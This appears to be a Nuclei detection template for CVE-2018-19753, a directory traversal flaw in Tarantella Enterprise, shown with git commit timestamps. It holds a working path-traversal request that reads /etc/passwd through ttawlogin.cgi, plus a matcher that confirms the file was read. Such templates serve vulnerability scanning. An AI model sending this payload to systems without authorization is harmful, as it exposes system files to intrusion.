nuclei-templates/cves/2018/CVE-2018-19753.yaml

35 lines
1.0 KiB
YAML
Raw Normal View History

2021-12-01 02:20:05 +00:00
id: CVE-2018-19753
2021-12-01 02:20:05 +00:00
info:
name: Tarantella Enterprise Directory Traversal
author: 0x_Akoko
severity: high
description: Tarantella Enterprise versions prior to 3.11 suffer from a directory traversal vulnerability.
reference:
- https://packetstormsecurity.com/files/150541/Tarantella-Enterprise-Directory-Traversal.html
- https://www.cvedetails.com/cve/CVE-2018-19753
- http://seclists.org/fulldisclosure/2018/Nov/66
- http://packetstormsecurity.com/files/150541/Tarantella-Enterprise-Directory-Traversal.html
2021-12-01 02:20:05 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-19753
cwe-id: CWE-22
tags: cve,cve2018,tarantella,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/tarantella/cgi-bin/secure/ttawlogin.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200